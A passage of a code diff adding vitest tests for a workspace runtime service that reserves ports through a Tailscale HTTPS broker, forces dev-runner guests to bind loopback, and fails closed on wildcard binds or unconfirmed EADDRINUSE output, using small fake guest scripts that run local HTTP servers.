+    // Nothing of ours is published under this runtime, so there is nothing to
+    // remove — only local bookkeeping to tidy.
+    expect(decideStaleExposureReclaim({ runtimeId: RUNTIME, ownedListeners: [] })).toEqual({
+      action: "clear_bookkeeping",
+      reason: "not_owned_by_broker",
+    });
+    expect(
+      decideStaleExposureReclaim({
+        runtimeId: RUNTIME,
+        ownedListeners: [{ runtimeId: OTHER_RUNTIME, port: 42000 }],
+      }),
+    ).toEqual({ action: "clear_bookkeeping", reason: "not_owned_by_broker" });
+  });
+
+  it("reclaims only when the broker still attributes a listener to that exact runtime", () => {
+    // Genuine orphan GC — the behaviour PAP-17207 row 7 requires — is preserved.
+    expect(
+      decideStaleExposureReclaim({
+        runtimeId: RUNTIME,
+        ownedListeners: [{ runtimeId: RUNTIME, port: 42001 }],
+      }),
+    ).toEqual({ action: "reclaim", reason: "owned_by_broker" });
+  });
+
+  it("attributes by runtimeId and never by port, so a recycled port cannot cross-authorize", () => {
+    // Two rows claiming the same recycled pair is exactly the observed state. If
+    // this matched on port, either row could authorize deleting the other's
+    // mapping — which is the shape of the original loss.
+    expect(
+      decideStaleExposureReclaim({
+        runtimeId: RUNTIME,
+        ownedListeners: [{ runtimeId: OTHER_RUNTIME, port: 42000 }, { runtimeId: OTHER_RUNTIME, port: 52000 }],
+      }).action,
+    ).toBe("clear_bookkeeping");
+  });
+});
diff --git a/server/src/services/workspace-runtime-exposure.test.ts b/server/src/services/workspace-runtime-exposure.test.ts
new file mode 100644
index 00000000000..9f674982b76
--- /dev/null
+++ b/server/src/services/workspace-runtime-exposure.test.ts
@@ -0,0 +1,969 @@
+import fs from "node:fs/promises";
+import net from "node:net";
+import os from "node:os";
+import path from "node:path";
+
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it } from "vitest";
+
+import {
+  deriveViteHmrPort,
+  RUNTIME_EXPOSURE_APP_PORT_MAX,
+  RUNTIME_EXPOSURE_APP_PORT_MIN,
+} from "@paperclipai/shared";
+
+import type { BrokerClient, BrokerListenerRequest } from "./runtime-exposure/broker-client.js";
+import {
+  diagnoseRuntimeListenerBinds,
+  readListenerBindFacts,
+} from "./runtime-exposure/loopback-listener.js";
+import {
+  classifyExposureHostCollisions,
+  type ExposurePortHostState,
+  resetRuntimeServicesForTests,
+  setWorkspaceRuntimeExposureDepsForTests,
+  startRuntimeServicesForWorkspaceControl,
+  stopRuntimeServicesForExecutionWorkspace,
+} from "./workspace-runtime.js";
+
+const EXECUTION_WORKSPACE_ID = "11111111-2222-4333-8444-555566667777";
+const HANDLE = "handle-abcdef1234567890";
+
+// The shared test setup pins the automatic default off so unrelated suites do
+// not probe for a real host broker. This suite is about the default, so it opts
+// back in and restores the harness value afterwards.
+let previousHttpsMode: string | undefined;
+beforeEach(() => {
+  previousHttpsMode = process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+  process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = "auto";
+});
+
+afterEach(async () => {
+  if (previousHttpsMode === undefined) delete process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+  else process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = previousHttpsMode;
+  // These tests spawn real loopback backends on dedicated-range ports; reap them
+  // rather than leaving one squatting 42xxx/52xxx for every test in the file.
+  await resetRuntimeServicesForTests({ terminateProcesses: true });
+});
+
+function serviceCommand() {
+  // Answers `/api/health` the way a real Paperclip dev runtime does: managed
+  // publication requires semantic health, not just a 200 (PAP-17572).
+  return `node -e 'const http=require("http");const p=Number(process.env.PORT);for(const q of [p,p+10000])http.createServer((rq,r)=>{if(rq.url==="/api/health"){r.setHeader("content-type","application/json");r.end(JSON.stringify({status:"ok"}));return}r.statusCode=200;r.end("ok")}).listen(q,"127.0.0.1");setInterval(()=>{},1000)'`;
+}
+
+/**
+ * Fake guest dev runners written to disk (PAP-17256).
+ *
+ * They must be real files named `dev-runner*.mjs` for two reasons: the command
+ * has to look like a dev-runner invocation for the rewrite to apply at all, and
+ * `node <file> --bind lan` hands the flags to the script, which is exactly how a
+ * real `pnpm dev --bind lan` reaches `scripts/dev-runner.ts`.
+ */
+let guestDir: string;
+
+/**
+ * A guest checkout from *before* managed HTTPS exposure existed.
+ *
+ * Reproduces the behaviour that actually broke the lanes: `scripts/dev-runner.ts`
+ * on plain master derives its bind mode from its own `--bind` / `--bind-host`
+ * argv and **ignores `PAPERCLIP_BIND` / `PAPERCLIP_MANAGED_RUNTIME_EXPOSURE`
+ * entirely** — so env-only hardening cannot reach it. `--bind lan` therefore
+ * means `0.0.0.0`, which the broker must refuse.
+ */
+const PRE_MANAGED_EXPOSURE_GUEST = `
+import http from "node:http";
+const argv = process.argv.slice(2);
+const valueOf = (flag) => {
+  const at = argv.indexOf(flag);
+  const value = at >= 0 ? argv[at + 1] : undefined;
+  return value && !value.startsWith("--") ? value : undefined;
+};
+const mode = valueOf("--bind") ?? "loopback";
+const host = mode === "custom" ? (valueOf("--bind-host") ?? "127.0.0.1")
+  : mode === "lan" ? "0.0.0.0"
+  : "127.0.0.1";
+const p = Number(process.env.PORT);
+// Even a pre-exposure checkout answered /api/health semantically; these guests
+// model bind behaviour, not health behaviour.
+const health = (rq, r) => { if (rq.url === "/api/health") { r.setHeader("content-type", "application/json"); r.end(JSON.stringify({ status: "ok" })); return true; } return false; };
+for (const q of [p, p + 10000]) {
+  http.createServer((rq, r) => { if (health(rq, r)) return; r.statusCode = 200; r.end("ok"); }).listen(q, host);
+}
+setInterval(() => {}, 1000);
+`;
+
+/**
+ * The true shape of the deployed failure: a guest that honours the bind argv for
+ * its own HTTP listener but whose Vite gets `hmr.port` with no `hmr.server` and
+ * no `server.host`, so Vite opens its *own* HMR websocket on the IPv6 wildcard
+ * regardless of the bind mode. Plain master's `server/src/app.ts` does exactly
+ * this, which is why forcing the bind is necessary but not sufficient there.
+ */
+const WILDCARD_HMR_GUEST = `
+import http from "node:http";
+const argv = process.argv.slice(2);
+const at = argv.indexOf("--bind-host");
+const host = at >= 0 ? argv[at + 1] : "127.0.0.1";
+const p = Number(process.env.PORT);
+const health = (rq, r) => { if (rq.url === "/api/health") { r.setHeader("content-type", "application/json"); r.end(JSON.stringify({ status: "ok" })); return true; } return false; };
+http.createServer((rq, r) => { if (health(rq, r)) return; r.statusCode = 200; r.end("ok"); }).listen(p, host);
+// No host argument: Vite's own HMR listener lands on the wildcard.
+http.createServer((_, r) => { r.statusCode = 426; r.end(); }).listen(p + 10000);
+setInterval(() => {}, 1000);
+`;
+
+/** A guest so old it has no bind flags at all and always binds the wildcard. */
+const ALWAYS_WILDCARD_GUEST = `
+import http from "node:http";
+const p = Number(process.env.PORT);
+const health = (rq, r) => { if (rq.url === "/api/health") { r.setHeader("content-type", "application/json"); r.end(JSON.stringify({ status: "ok" })); return true; } return false; };
+for (const q of [p, p + 10000]) {
+  http.createServer((rq, r) => { if (health(rq, r)) return; r.statusCode = 200; r.end("ok"); }).listen(q, "0.0.0.0");
+}
+setInterval(() => {}, 1000);
+`;
+
+/**
+ * A guest that prints a synthetic `EADDRINUSE` line for its assigned port with no
+ * host listener behind it, then exits. It models guest-controlled output that
+ * claims a collision the host cannot confirm. The runtime must not quarantine the
+ * pair on the printed line alone. Otherwise repeated starts drain the shared
+ * exposure-port pool. The start must surface the failure terminally after a single
+ * allocation.
+ */
+const SYNTHETIC_EADDRINUSE_ON_BASE_PORT_GUEST = `
+import http from "node:http";
+const p = Number(process.env.PORT);
+if (p === 42000) {
+  process.stderr.write("node:events:497\\nError: listen EADDRINUSE: address already in use 127.0.0.1:" + p + "\\n");
+  process.exit(1);
+}
+const health = (rq, r) => { if (rq.url === "/api/health") { r.setHeader("content-type", "application/json"); r.end(JSON.stringify({ status: "ok" })); return true; } return false; };
+for (const q of [p, p + 10000]) {
+  http.createServer((rq, r) => { if (health(rq, r)) return; r.statusCode = 200; r.end("ok"); }).listen(q, "127.0.0.1");
+}
+setInterval(() => {}, 1000);
+`;
+
+/**
+ * A guest that exits with `EADDRINUSE` on an unrelated auxiliary port, never on
+ * its assigned app or HMR port. It models a fixed helper listener (for example an
+ * inspector or metrics port) that an external process already holds. The managed
+ * start must not quarantine the valid exposure pair; it must surface the failure
+ * terminally after a single allocation.
+ */
+const EADDRINUSE_ON_AUXILIARY_PORT_GUEST = `
+import http from "node:http";
+process.stderr.write("node:events:497\\nError: listen EADDRINUSE: address already in use 127.0.0.1:39999\\n");
+process.exit(1);
+`;
+
+/**
+ * A guest that fails with `EADDRINUSE` on an unrelated auxiliary port, and also
+ * prints the assigned app port on a separate, benign line. It models mixed
+ * startup output: one line names the assigned port for an informational reason,
+ * a different line reports the auxiliary-port conflict. The parser must match the
+ * error and the port on the same line, so the benign mention of the assigned port
+ * must not trigger a wrong quarantine. The managed start must surface the failure
+ * terminally after a single allocation.
+ */
+const EADDRINUSE_ON_AUXILIARY_PORT_WITH_ASSIGNED_MENTION_GUEST = `
+import http from "node:http";
+const p = Number(process.env.PORT);
+process.stderr.write("[dev] server ready on http://127.0.0.1:" + p + "/\\n");
+process.stderr.write("node:events:497\\nError: listen EADDRINUSE: address already in use 127.0.0.1:39999\\n");
+process.exit(1);
+`;
+
+beforeAll(async () => {
+  guestDir = await fs.mkdtemp(path.join(os.tmpdir(), "pap-17256-guest-"));
+  await fs.writeFile(path.join(guestDir, "dev-runner.mjs"), PRE_MANAGED_EXPOSURE_GUEST);
+  await fs.writeFile(path.join(guestDir, "dev-runner-legacy.mjs"), ALWAYS_WILDCARD_GUEST);
+  await fs.writeFile(path.join(guestDir, "dev-runner-wildcard-hmr.mjs"), WILDCARD_HMR_GUEST);
+  await fs.writeFile(
+    path.join(guestDir, "dev-runner-bind-conflict.mjs"),
+    'process.stderr.write("local_trusted requires server.bind=loopback\\n"); process.exit(1);\n',
+  );
+  // A guest that prints a synthetic EADDRINUSE line for its assigned port with no
+  // host listener behind it. It models guest-controlled output that claims a
+  // collision the host cannot confirm. The start must not quarantine the pair.
+  await fs.writeFile(
+    path.join(guestDir, "dev-runner-eaddrinuse-synthetic.mjs"),
+    SYNTHETIC_EADDRINUSE_ON_BASE_PORT_GUEST,
+  );
+  // A guest that fails on a fixed auxiliary port, not on its assigned app or HMR
+  // port. It models an unrelated helper listener that an external process holds.
+  // The assigned exposure pair stays valid, so the start must not quarantine it.
+  await fs.writeFile(
+    path.join(guestDir, "dev-runner-eaddrinuse-auxiliary.mjs"),
+    EADDRINUSE_ON_AUXILIARY_PORT_GUEST,
+  );
+  // A guest that fails on an auxiliary port and also prints the assigned app port
+  // on a separate, benign line. It models mixed output where the assigned port
+  // appears for an unrelated reason. The parser must match the error and the port
+  // on the same line, so the start must not quarantine the valid exposure pair.
+  await fs.writeFile(
+    path.join(guestDir, "dev-runner-eaddrinuse-auxiliary-mixed.mjs"),
+    EADDRINUSE_ON_AUXILIARY_PORT_WITH_ASSIGNED_MENTION_GUEST,
+  );
+});
+
+afterAll(async () => {
+  await fs.rm(guestDir, { recursive: true, force: true });
+});
+
+const guestCommand = (file: string) => `node ${path.join(guestDir, file)}`;
+
+function createBroker() {
+  const calls: string[] = [];
+  let listeners: BrokerListenerRequest[] = [];
+  const broker: BrokerClient = {
+    async reserve(_runtimeId, requested) {
+      calls.push("reserve");
+      listeners = requested;
+      return { handle: HANDLE, reservedPorts: requested.map((listener) => listener.port) };
+    },
+    async expose() {
+      calls.push("expose");
+      return { handle: HANDLE, publicPorts: listeners.map((listener) => listener.port) };
+    },
+    async remove() {
+      calls.push("remove");
+      return { removedPorts: listeners.map((listener) => listener.port) };
+    },
+    async list() {
+      return [];
+    },
+  };
+  return { broker, calls };
+}
+
+/**
+ * A real loopback bind probe, matching production's `isLoopbackPortAvailable`.
+ *
+ * The default used to be `async () => true`, which claimed every port in the
+ * dedicated range was free. On a developer or canary host that already runs a
+ * managed lane on `42000`, that lie made the suite allocate a port something
+ * else was listening on — so the spawned guest could not bind, and every
+ * assertion downstream failed for a reason that had nothing to do with the
+ * behaviour under test. It also meant the suite exercised allocation against a
+ * range it never actually checked (PAP-17419; PAP-17255 started this with
+ * "make exposure fixture honor occupied ports").
+ */
+async function isLoopbackPortFree(port: number): Promise<boolean> {
+  const facts = await readListenerBindFacts(port);
+  if (facts?.present) return false;
+
+  return await new Promise<boolean>((resolve) => {
+    const probe = net.createServer();
+    probe.unref();
+    probe.once("error", () => resolve(false));
+    probe.listen(port, "127.0.0.1", () => {
+      probe.close(() => resolve(true));
+    });
+  });
+}
+
+/**
+ * The first app port at or above `startAt` whose HMR companion is also free on
+ * the real host, mirroring the allocator's own scan. The pinned-port test needs
+ * a port that is *verifiably* free right now rather than a hard-coded one: the
+ * whole dedicated range sits inside the Linux ephemeral port range, so any
+ * transient loopback socket on the host (the client side of a readiness probe,
+ * a TIME_WAIT remnant from another suite) can occupy a fixed constant at probe
+ * time and make the allocator relocate for a reason unrelated to the behaviour
+ * under test.
+ */
+async function findFreeExposureAppPort(startAt: number): Promise<number> {
+  for (let appPort = startAt; appPort <= RUNTIME_EXPOSURE_APP_PORT_MAX; appPort += 1) {
+    if (await isLoopbackPortFree(appPort) && await isLoopbackPortFree(deriveViteHmrPort(appPort))) {
+      return appPort;
+    }
+  }
+  throw new Error("no free app/HMR port pair available in the dedicated runtime exposure range");
+}
+
+function installDeps(overrides: {
+  broker: BrokerClient;
+  probeHealth?: () => Promise<boolean>;
+  isBrokerAvailable?: () => Promise<boolean>;
+  isPortAvailable?: (port: number) => Promise<boolean>;
+  diagnoseListenerBinds?: (ports: number[]) => Promise<string | null>;
+  resolveHostname?: () => Promise<string>;
+}) {
+  setWorkspaceRuntimeExposureDepsForTests({
+    broker: overrides.broker,
+    isPortAvailable: overrides.isPortAvailable ?? isLoopbackPortFree,
+    isBrokerAvailable: overrides.isBrokerAvailable ?? (async () => true),
+    resolveHostname: overrides.resolveHostname ?? (async () => "runner.tail123.ts.net"),
+    probeHealth: overrides.probeHealth ?? (async () => true),
+    now: () => "2026-08-11T00:00:00.000Z",
+    // The real /proc-backed diagnosis, not a fake: the fake broker below always
+    // says yes, so this is what has to catch an off-loopback bind here.
+    diagnoseListenerBinds: overrides.diagnoseListenerBinds ?? diagnoseRuntimeListenerBinds,
+  });
+}
+
+const DECLARED_EXPOSE = {
+  type: "tailscale_https",
+  hostname: "auto",
+  publicPort: "same",
+  includePaperclipViteHmr: true,
+  failurePolicy: "fail_closed",
+} as const;
+
+/**
+ * The pre-feature Paperclip App project template, verbatim: a hard-coded HTTP
+ * `urlTemplate`, a pinned port outside the broker's dedicated range, and no
+ * exposure declaration at all.
+ */
+const LEGACY_HTTP_EXPOSE = {
+  type: "url",
+  urlTemplate: "http://paperclip-dev:{{port}}",
+} as const;
+
+function startInput(options?: {
+  serviceName?: string;
+  expose?: Record<string, unknown> | null;
+  port?: Record<string, unknown> | number;
+  command?: string;
+}) {
+  const expose = options?.expose === undefined ? DECLARED_EXPOSE : options.expose;
+  return {
+    invocationId: "runtime-exposure-test",
+    actor: { id: null, name: "Paperclip", companyId: "aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee" },
+    issue: null,
+    workspace: {
+      baseCwd: process.cwd(),
+      source: "project_primary" as const,
+      projectId: null,
+      workspaceId: null,
+      repoUrl: null,
+      repoRef: null,
+      strategy: "project_primary" as const,
+      cwd: process.cwd(),
+      branchName: "test",
+      worktreePath: null,
+      warnings: [],
+      created: false,
+      branchCreatedByRuntime: false,
+    },
+    executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+    config: {
+      workspaceRuntime: {
+        services: [{
+          name: options?.serviceName ?? "preview",
+          command: options?.command ?? serviceCommand(),
+          port: options?.port ?? { type: "auto", envKey: "PORT" },
+          readiness: { type: "http", urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 5 },
+          ...(expose ? { expose } : {}),
+        }],
+      },
+    },
+    adapterEnv: {},
+  };
+}
+
+describe("workspace runtime tailscale_https lifecycle", () => {
+  it("reserves before spawn, exposes after backend readiness, and removes on stop", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput());
+    expect(calls.slice(0, 2)).toEqual(["reserve", "expose"]);
+    expect(runtime.port).toBeGreaterThanOrEqual(42000);
+    expect(runtime.url).toBe(`https://runner.tail123.ts.net:${runtime.port}`);
+    expect(runtime.exposure?.state).toBe("ready");
+
+    await stopRuntimeServicesForExecutionWorkspace({
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      runtimeServiceId: runtime.id,
+    });
+    expect(calls).toEqual(["reserve", "expose", "remove"]);
+  }, 15_000);
+
+  it("fails closed and removes the mapping when external HTTPS validation fails", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker, probeHealth: async () => false });
+
+    await expect(startRuntimeServicesForWorkspaceControl(startInput())).rejects.toThrow(/HTTPS exposure failed/);
+    expect(calls).toEqual(["reserve", "expose", "remove"]);
+  }, 15_000);
+});
+
+describe("automatic tailscale_https default for managed worktree runtimes", () => {
+  it("defaults a legacy paperclip-dev service with no exposure block, relocating its pinned port", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    // Exactly the persisted pre-feature shape: pinned 45439 + HTTP urlTemplate.
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      expose: LEGACY_HTTP_EXPOSE,
+      port: 45_439,
+    }));
+
+    expect(calls.slice(0, 2)).toEqual(["reserve", "expose"]);
+    // 45439 is outside the broker allowlist, so the pinned port cannot be kept.
+    expect(runtime.port).not.toBe(45_439);
+    expect(runtime.port).toBeGreaterThanOrEqual(42_000);
+    expect(runtime.port).toBeLessThanOrEqual(42_999);
+    // The canonical URL is the verified HTTPS origin; HTTP is never retained.
+    expect(runtime.url).toBe(`https://runner.tail123.ts.net:${runtime.port}`);
+    expect(runtime.url).not.toContain("http://");
+    expect(runtime.exposure?.state).toBe("ready");
+  }, 15_000);
+
+  it("keeps an existing runtime port that is already inside the dedicated range", async () => {
+    const { broker } = createBroker();
+    installDeps({ broker });
+
+    // Pin a pair that is free right now, strictly above the lowest free pair.
+    // If the keep-the-preferred-port path were broken, the ascending fallback
+    // scan would return that lower pair, so coming back with the pinned port
+    // still proves the behaviour — without betting the test on one hard-coded
+    // host port (formerly 42500) staying unoccupied for the whole run.
+    const lowestFreeAppPort = await findFreeExposureAppPort(RUNTIME_EXPOSURE_APP_PORT_MIN);
+    const pinnedPort = await findFreeExposureAppPort(lowestFreeAppPort + 1);
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      expose: LEGACY_HTTP_EXPOSE,
+      port: pinnedPort,
+    }));
+
+    expect(runtime.port).toBe(pinnedPort);
+    expect(runtime.url).toBe(`https://runner.tail123.ts.net:${pinnedPort}`);
+  }, 15_000);
+
+  it("preserves a deliberate opt-out and leaves the service on plain HTTP", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      expose: { ...LEGACY_HTTP_EXPOSE, tailscaleHttps: false },
+      port: { type: "auto", envKey: "PORT" },
+    }));
+
+    expect(calls).toEqual([]);
+    expect(runtime.exposure ?? null).toBeNull();
+    expect(runtime.url).toBe(`http://paperclip-dev:${runtime.port}`);
+  }, 15_000);
+
+  it("leaves an unmanaged/custom service untouched", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "preview",
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    }));
+
+    expect(calls).toEqual([]);
+    expect(runtime.exposure ?? null).toBeNull();
+    expect(runtime.url).toBe(`http://paperclip-dev:${runtime.port}`);
+  }, 15_000);
+
+  it("does not default when the host broker is unavailable", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker, isBrokerAvailable: async () => false });
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    }));
+
+    expect(calls).toEqual([]);
+    expect(runtime.exposure ?? null).toBeNull();
+  }, 15_000);
+
+  it("still honors an explicit opt-in when the broker socket is missing, failing loudly", async () => {
+    // A missing broker must never silently downgrade a requested HTTPS preview.
+    const { broker, calls } = createBroker();
+    const failing: BrokerClient = {
+      ...broker,
+      async reserve() {
+        calls.push("reserve");
+        throw new Error("ENOENT: broker socket missing");
+      },
+    };
+    installDeps({ broker: failing, isBrokerAvailable: async () => false });
+
+    await expect(
+      startRuntimeServicesForWorkspaceControl(startInput({ serviceName: "paperclip-dev" })),
+    ).rejects.toThrow();
+    expect(calls).toEqual(["reserve"]);
+  }, 15_000);
+
+  it("is idempotent across repeated starts: the same port pair is reserved again", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const [first] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      expose: LEGACY_HTTP_EXPOSE,
+      port: 45_439,
+    }));
+    const firstPort = first.port;
+    await stopRuntimeServicesForExecutionWorkspace({
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      runtimeServiceId: first.id,
+    });
+    calls.length = 0;
+
+    const [second] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      expose: LEGACY_HTTP_EXPOSE,
+      port: 45_439,
+    }));
+
+    expect(calls.slice(0, 2)).toEqual(["reserve", "expose"]);
+    expect(second.port).toBe(firstPort);
+    expect(second.url).toBe(`https://runner.tail123.ts.net:${firstPort}`);
+  }, 25_000);
+
+  it("releases the in-flight pair claim when hostname resolution fails, so a retry storm cannot exhaust the range", async () => {
+    // The reservation keeps the winning pair's in-process claim on purpose, for
+    // the caller to release on stop/teardown. A hostname failure throws before any
+    // runtime record exists, so that teardown can never run for this pair — and
+    // removing only the broker reservation would leave the claim held. Each retry
+    // would then burn another pair and the lane would report the range exhausted
+    // rather than the real cause, a Tailscale outage.
+    const reservedAppPorts: number[] = [];
+    const broker: BrokerClient = {
+      async reserve(_runtimeId, requested) {
+        reservedAppPorts.push(requested[0]!.port);
+        return { handle: HANDLE, reservedPorts: requested.map((listener) => listener.port) };
+      },
+      async expose() {
+        return { handle: HANDLE, publicPorts: [] };
+      },
+      async remove() {
+        return { removedPorts: [] };
+      },
+      async list() {
+        return [];
+      },
+    };
+    installDeps({
+      broker,
+      resolveHostname: async () => {
+        throw new Error("MagicDNS unavailable");
+      },
+    });
+
+    for (let attempt = 0; attempt < 3; attempt += 1) {
+      await expect(
+        startRuntimeServicesForWorkspaceControl(startInput({ serviceName: "paperclip-dev" })),
+      ).rejects.toThrow(/MagicDNS hostname unavailable/);
+    }
+
+    // Every attempt reserved the same pair. A leaked claim would push each retry
+    // onto a fresh pair instead.
+    expect(reservedAppPorts).toHaveLength(3);
+    expect(new Set(reservedAppPorts).size).toBe(1);
+  }, 25_000);
+});
+
+/**
+ * PAP-17256: the deployed regression. A fresh managed lane on service index 0
+ * failed every start with `listener_ownership_mismatch` because the branch
+ * checkout it launched bound `0.0.0.0`, and the server only asked for loopback
+ * via env vars that checkout never read.
+ */
+describe("loopback bind is forced on the guest, not merely requested (PAP-17256)", () => {
+  it("starts a fresh service-index-0 lane whose guest only honours argv", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      // Verbatim the command every failing lane recorded, modulo the fake guest.
+      command: `${guestCommand("dev-runner.mjs")} --bind lan`,
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    }));
+
+    // The launched command carries the loopback bind, replacing `--bind lan`.
+    expect(runtime.command).toContain("--bind loopback");
+    expect(runtime.command).not.toContain("--bind lan");
+
+    // And because the guest honoured it, both listeners are loopback-only, so
+    // the exposure completes instead of being denied.
+    expect(calls.slice(0, 2)).toEqual(["reserve", "expose"]);
+    expect(runtime.exposure?.state).toBe("ready");
+    expect(runtime.exposure?.lastError ?? null).toBeNull();
+    expect(runtime.port).toBeGreaterThanOrEqual(42_000);
+    expect(runtime.url).toBe(`https://runner.tail123.ts.net:${runtime.port}`);
+
+    // Independent confirmation on the live listeners, using the same /proc read
+    // the broker's gate performs.
+    const hmrPort = runtime.port! + 10_000;
+    expect(await diagnoseRuntimeListenerBinds([runtime.port!, hmrPort])).toBeNull();
+
+    await stopRuntimeServicesForExecutionWorkspace({
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      runtimeServiceId: runtime.id,
+    });
+    expect(calls).toEqual(["reserve", "expose", "remove"]);
+  }, 20_000);
+
+  it("reaches a terminal failure naming the port and address when a guest still binds the wildcard", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    // A guest with no bind flags at all: the argv rewrite cannot reach it, so
+    // this is the residual case that must fail loudly rather than expose.
+    await expect(startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      command: guestCommand("dev-runner-legacy.mjs"),
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    }))).rejects.toThrow(/listener_ownership_mismatch.*(?:0\.0\.0\.0|::)/s);
+
+    // Terminal recovery: the reservation is released and nothing was exposed.
+    // The diagnosis runs before the broker, so `expose` is never attempted.
+    expect(calls).toEqual(["reserve", "remove"]);
+  }, 20_000);
+
+  it("explains rather than only coding the failure, so the next operator can act", async () => {
+    const { broker } = createBroker();
+    installDeps({ broker });
+
+    const error = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      command: guestCommand("dev-runner-legacy.mjs"),
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    })).then(() => null, (err: unknown) => err as Error);
+
+    expect(error).not.toBeNull();
+    // The bare code alone is what cost PAP-17254 three diagnostic cycles.
+    expect(error!.message).toContain("listener_ownership_mismatch");
+    expect(error!.message).toContain("loopback");
+    expect(error!.message).toContain("--bind loopback");
+  }, 20_000);
+
+  it("leaves a non-Paperclip service's --bind argument alone", async () => {
+    // `--bind` means something entirely different to the HTTPS probe canaries
+    // (`python3 -m http.server --bind 127.0.0.1`); rewriting it would break them.
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const declared = `${serviceCommand()} -- --bind 127.0.0.1`;
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "https-probe-canary",
+      command: declared,
+      port: { type: "auto", envKey: "PORT" },
+    }));
+
+    expect(runtime.command).toBe(declared);
+    expect(runtime.command).not.toContain("--bind loopback");
+    expect(calls.slice(0, 2)).toEqual(["reserve", "expose"]);
+    expect(runtime.exposure?.state).toBe("ready");
+  }, 20_000);
+
+  it("does not rewrite a Paperclip dev command when the service is not exposed", async () => {
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const declared = `${guestCommand("dev-runner.mjs")} --bind lan`;
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      command: declared,
+      expose: { ...LEGACY_HTTP_EXPOSE, tailscaleHttps: false },
+      port: { type: "auto", envKey: "PORT" },
+    }));
+
+    expect(calls).toEqual([]);
+    expect(runtime.command).toBe(declared);
+  }, 20_000);
+
+  it("surfaces a deployment/bind conflict from a guest that exits during startup", async () => {
+    const { broker } = createBroker();
+    installDeps({ broker });
+
+    await expect(startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
+      command: guestCommand("dev-runner-bind-conflict.mjs"),
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    }))).rejects.toThrow(
+      /deployment\/bind conflict: local_trusted requires server\.bind=loopback.*output: local_trusted requires server\.bind=loopback/s,
+    );
+  }, 20_000);
+});
+
+describe("readiness probes loopback for an exposed runtime (PAP-17256)", () => {
+  it("starts even when the only readiness target is the MagicDNS display URL", async () => {
+    // The live project config declares a loopback readiness URL, but when it does
+    // not, readiness falls back to `expose.urlTemplate` — a MagicDNS name that
+    // resolves off-loopback. That only ever answered because the guest was bound
+    // to the wildcard, so it must be normalised alongside the bind fix.
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const input = startInput({
+      serviceName: "paperclip-dev",
+      command: `${guestCommand("dev-runner.mjs")} --bind lan`,
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    });
+    // Drop the explicit loopback readiness URL so the fallback path is exercised.
+    const service = input.config.workspaceRuntime.services[0] as Record<string, unknown>;
+    service.readiness = { type: "http", timeoutSec: 10, intervalMs: 100 };
+
+    const [runtime] = await startRuntimeServicesForWorkspaceControl(input);
+
+    expect(calls.slice(0, 2)).toEqual(["reserve", "expose"]);
+    expect(runtime.exposure?.state).toBe("ready");
+    expect(runtime.url).toBe(`https://runner.tail123.ts.net:${runtime.port}`);
+  }, 20_000);
+});
+
+describe("the deployed failure shape: loopback app port, wildcard HMR (PAP-17256)", () => {
+  it("fails terminally naming the HMR port, because forcing the bind cannot reach Vite's own listener", async () => {
+    // Plain master's app.ts passes Vite `hmr.port` without `hmr.server` or
+    // `server.host`, so the HMR websocket binds `::` no matter what the bind mode
+    // is. The argv rewrite fixes the app port; only the preflight catches this.
+    const { broker, calls } = createBroker();
+    installDeps({ broker });
+
+    const error = await startRuntimeServicesForWorkspaceControl(startInput({
+      serviceName: "paperclip-dev",
